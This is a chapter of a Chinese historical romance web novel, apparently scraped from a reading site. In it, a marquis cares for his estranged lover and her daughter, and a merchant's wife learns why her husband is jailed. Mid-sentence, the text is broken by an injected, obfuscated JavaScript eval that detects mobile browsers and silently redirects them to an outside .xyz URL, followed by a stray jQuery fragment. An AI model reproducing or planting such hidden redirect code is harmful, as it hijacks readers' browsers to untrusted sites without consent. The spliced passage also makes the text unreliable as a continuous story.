默认冷灰
24号文字
方正启体

15. 第十五章

作者:碧玉无香本书字数:K更新时间:
    在隔壁厢房不久前才被哄入睡的臻臻,从睡梦中惊醒,隐约间听到母亲的哭声,顾不得穿上鞋子,赤着小脚从里头跑出来。


    徐妈妈等人拦都拦不住。


    “小姐,夫人在睡觉,咱们回去穿好鞋子吧。”


    “你跟那个人一样是个坏人!欺负母亲!”小小的孩子并不知内情,以为刚刚出来的裴寂定是和母亲北疆那位丈夫一样,在欺负自己的母亲。


    小家伙愈发滚胖的身子向男人的腿冲撞上去,男人纹丝不动,自己反而一屁股蹲坐在地。


    抬头看着面无表情的裴寂,愣了一会儿,抱着他的腿,张嘴大哭起来。


    听到外头女儿的哭声,沈咛夏挣扎着从床榻上起身,扶着床沿想要出来。


    “去扶你们夫人回床上好好休息。”裴寂皱眉吩咐旁边哄劝沈臻的徐妈妈等人。


    徐妈妈等人见主君神色不悦,忙不迭到屋内拦住沈咛夏。


    “夫人,小姐无事,只是被吓到了。您身子不适,刚刚喝完药,还是回床上休息吧。”


    沈咛夏听到女儿在外头哭泣,心中着急,如何能在屋内睡得着,轻喘着气挥开眼前拦住的人。


    “让开!”


    裴寂听着屋内的动静,心里暗恨她为了别的男人的孩子,不爱惜自己的身子,想要转身回屋,腿却被一双白嫩胖乎的小手抱着。


    小丫头还在忘情的哭着,眼泪鼻涕直往下掉,快要进张开的嘴巴里了。许是觉得不适,哭到中间时,直接往他的裤子上蹭。


    裴寂忍无可忍,单手把她拎起抱在怀里,转身回了屋内,“脏丫头!”


    一旁阻拦不及的大文等侍卫眼睁睁的看着主君把孩子抱在怀里,不动声响的收回迈出的步子。


    沈咛夏身子虚弱,又被徐妈妈等人拦着,并不知外头的情况。见裴寂一脸嫌弃的抱着死命扑腾着身子女儿进屋来,忙上前想要接过来。但却高估了自己的身子。


    方才吃了药,又哭了一场,身上冒着冷汗,脚步虚浮,还未到裴寂身边就脚一软摔倒在地。


    裴寂眼疾手快,快速伸手将她扶住,怒声道:“去叫大夫来!”


    于是乎,刚刚还没离开多久的大夫又被请了过来。


    “夫人本就身子虚弱,方才又心怀怫郁,难以派遣,才会忽然昏倒。往后要安心调养,多开解胸中郁气,方能尽快痊愈。”


    裴寂抿唇点头,让大文等人将大夫送出去。


    床榻上的女人脸色苍白,睡梦中柳眉都没舒展开过,全然没有睁开眼时的活气。


    手指轻抚着她微微起皱的唇,低声呢喃,“我们以后不要为了旁的人争吵了,只要你在我身边,别的我都可以不计较。”


    是夜,清源县城内福来客栈二楼的房间内依旧灯火通明。


    “蒋武,你用银子去打点,衙门那些人真的一个人都不愿意收?”一容长脸身形削瘦的夫人疲惫的问眼前跟着丈夫多年的手下。


    回转家中匆匆又跟着主家夫人出来的蒋武苦笑道:“夫人,现在清源县已在定北侯的手中,他还在县衙住着,谁敢背着他收咱们的东西。”


    “可夫君明明是被冤枉的!定北侯即便再势大,也得讲道理。夫君好好的行商,未曾得罪他,怎能不分青红皂白的给他扣上私通要犯的罪名。”


    谈起此事,妇人尤为不平。在她看来自家夫君是再憨厚老实不过的人,怎么会跟什么要犯勾结在一起。若他当初真的有这般胆气,自己也不会顺顺利利的嫁给他。


    况且家中还有年迈的双亲和嗷嗷待哺的幼儿,他为着这个着想,也不会轻易掺和进去。


    见蒋武垂头不语,她也不指望他能出主意,叹了声气,道:“这几日辛苦你们了,我一个妇道人家也不好出面。等事了结,回去便送你家小子去族学里头读些书吧,账从我这出,读好书总比风里雨里,担惊受怕的经商好。”


    蒋武大喜,连声谢过妇人。等要出去时,瞧见妇人眼下的青黑,犹犹豫豫的开口,“夫人,有一事我不知该不该和你说。”


    蒋夫人眼中警惕的看了他一眼,嘴上却带着笑,“你是家中的老人,有什么事直接跟我说便是,有什么该不该的。”


    蒋武看了一眼蒋夫人身边的壮丫鬟,咬牙道:“主家可能不是因为私通要犯被关压进牢房的。”


    屋内静谧下去,片刻,蒋夫人竖着眉头,“什么意思?!都到这份上了你们还有事瞒着我?蒋家可待你们不薄。”


    “夫人,不是我们不愿告诉您,是主家老太爷他们吩咐过,不能跟您说,怕您不愿意救主家老爷。”蒋武极力解释,连连摆手。


    “老太爷?”蒋夫人忽然意识到关于丈夫的事情,自己可能是被瞒得最紧的。


    “是老太爷说的。因为主家他是因为一个女人被定北侯找麻烦关进牢里的。若真是私通要犯的话,我们也不会轻易被放回来。”蒋武干脆一不做二不休,一五一十的把话说明白。


    听完此话,蒋夫人恨恨的拍了几下桌子。怪不得追问情况的时候,老太太吞吞吐吐的。原以为他们也不知,如今看来单单是瞒着她一人。若不是他们年迈体衰,只有一个儿子,只怕也不会让她来。


    蒋夫人自嫁给蒋清后,因其能干精练,渐渐掌着家中的大半事务。蒋清出外行商时,她就顶着家里的门户,日常走动经营生意。虽有些碎嘴子的人常有言语说她抛头露面跟男人打交道,但蒋家上下知道她的本事,反而对她十分钦佩敬服。蒋老太爷夫妇更是常在外夸赞她的好,只是蒋清对她平平淡淡的。


    原先蒋夫人也伤心,但后头过着过着,就觉得这日子是她算计来的,本来蒋清就心有所属,不愿意娶她,强逼着也没什么用。只要他在外不要养着其他女人威胁她的地位,愿意好好赚钱待孩子,他心里有没有她已经无所谓了。


    现如今倒好,他竟因一个女人被关进了牢里,可见那个女人在他心里的地位。若是那个女人被带回家了,家里还有她们母子三人的立足之地吗?!


    想到此处,蒋夫人也顾不上手疼,连忙追问,“那个女人是谁?现在在何处?”


    蒋武一脸为难,“这个……小人也不知她是谁,只知主家是从北疆把她带回来的,还有个约莫三四岁的女儿。她常常带着帷帽,亦或是坐在马车内,极少露面,瞧着身段应是个美人。我们被押至清源县后就一直不见她人影,定是在定北侯身边,他们应是相熟的,那日我依稀听到定北侯唤她妹妹。”


    “妹妹?蒋清哪来的本事能勾搭上侯爷的妹妹,人家可是世家贵女。”蒋夫人对自己丈夫是气恼的很,出言讽刺道。


    又叮嘱蒋武,“此事你不要泄露出去!事关达官贵族,要是传出去了,届时性命不保。其他人听到了这句话吗?”


    蒋武见她神情严肃,忙摇头,“当时隔得远,又被甲士压着,就我一个人因习了武,耳聪目明些,才依稀听到的,此事我只跟夫人您说过。”


    蒋夫人点点头,待蒋武出去后,才站直身子,吩咐身边的壮丫鬟,“胖丫,咱们快收拾收拾东西,过几日就回去。这个死鬼竟会给我惹麻烦,定北侯府就一个养女和亲到了北疆做王妃,他还敢偷偷的把和亲的人从北疆带回来,这可是大罪!要是被人知晓了,咱们全家的脑袋都不够砍的。”


    蒋夫人时常会跟外头打交道,自然知道当时与北疆和亲的事情。


    胖丫缓了一会,慢慢道,“可是咱们现在走,也没用呀。如果要追究,咱们不会平平安安的到清源县,老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221247|181527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爷也不会在牢里稳稳当当的坐着。要是咱们突然跑了,以后不就成逃犯了,小公子还想着要考状元呢。”


    蒋夫人仔细一想,确实是有道理。蒋清纵然该死,但孩子的前程耽误不得,哀声道:


    “罢了,该我倒霉,千挑万选嫁了这么个丈夫。”


    胖丫瞧着自家主子唏嘘的模样,实诚回道,“您当初还持刀上门非要嫁过去呢。”


    蒋夫人的心更伤了。


    沈咛夏从睡梦中醒来已是第二日清晨,头昏脑胀。


    徐妈妈等人见她清醒,欢喜无比,连声匆匆跑去客房把大夫请过来。待复诊无事后,一直候在房间的小武才安心的回书房跟裴寂回报。


    喝药时,她才从徐妈妈口中得知裴寂昨夜一直留在她身边守候,直到凌晨时分,前面书房有事才离去。而臻臻在裴寂的怀中哭到最后,熬不住了,被徐妈妈等人哄着睡着,现在还没有醒来。


    沈咛夏靠在引枕上,面容平静,回想着昨日的点点滴滴。许是用不了几日,蒋清就能顺利的从牢中出来了。


    但她也彻底明白与裴寂之间始终有条难以抚平的伤痕。无论是对她而言,还是对裴寂而言,都时刻在介意,如同一碗夹生饭。


    沈咛夏自母亲去世后,她发过誓不再受人辖制,以前她妄想通过攀裴寂这根高枝来实现,不惜冒认救命之恩。但经过老定北侯的教训拿捏后,她就明白男人还不如自己的身体可靠。


    到了北疆,有臻臻之后,她更觉得自己需要的是自由,而不是依着美色成为某人随时可以转赠牺牲,依靠旁人来拯救的物件。其他人的感受和喜怒都干扰不了她的决定。如果有人挡在她身前,便是财狼虎豹她也能靠着法子将它打死,亦如自己先前的丈夫。


    在她沉思之际,裴寂在经历昨日的剖白之后,还是从着心来到她屋内。


    他仿佛什么事情都未发生一般,上前低声问:“你身子好些了吗?”


    沈咛夏淡淡的抬眸看他,许是昨晚一夜不曾安稳的睡过,他的硬挺的下颌处已经冒出青茬,眉眼处亦是挤出了几道川字纹。


    “好了些,昨晚谢谢你把臻臻哄睡。”


    裴寂高大的身影遮住了她的眉眼,沉沉说了句,“你我之间何谈谢字。”


    谁也没有提及昨日的事情,静默片刻后,裴寂略带沙哑的嗓音打破了室内的凝滞。


    “我派人去请了一位女医来帮你调养身子,以后我会护你周全,我们莫谈前事,只论后来。臻臻我也会视若己出。”


    沈咛夏听着他自顾自的许下诺言,面无表情,内心有些想笑,他不离不弃的诺言是什么很珍贵的东西吗?


    已经不止一个人对她许下过这个诺言了。


    见她不语,裴寂忍不住低头去摸她柔白的手。


    沈咛夏轻轻挣开,一本正经的问道:“若是我有件很重要的事欺骗了侯爷呢?”


    裴寂身子一顿,慢慢道:“只要不是关于生死大义之事,我亦可原谅。只是此类事情再一不可再二。我们要长久下去,就要以诚相待。”


    沈咛夏点点头。


    良久,裴寂复又追问:“你方才说的是什么事情?”


    沈咛夏将眼中的冷漠深藏,脸带笑意道:“不久前,我曾哄骗覃夫人帮忙送了些衣物和药材给蒋清。”


    听到此话,搭在她手上的力道骤然变大。


    “你捏疼我了。”沈咛夏含笑欣赏着眼前男人倏尔铁青倏尔微笑的脸。


    裴寂松开手,强扯起一抹笑容,“总归是要放他出来,无碍。只是以后莫要与他有纠葛,他居心不良。”


    沈咛夏听到他不情不愿的话,扑哧一声笑出来,昨日的争吵掀起的风波也因这一声笑暂时的掩藏下来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)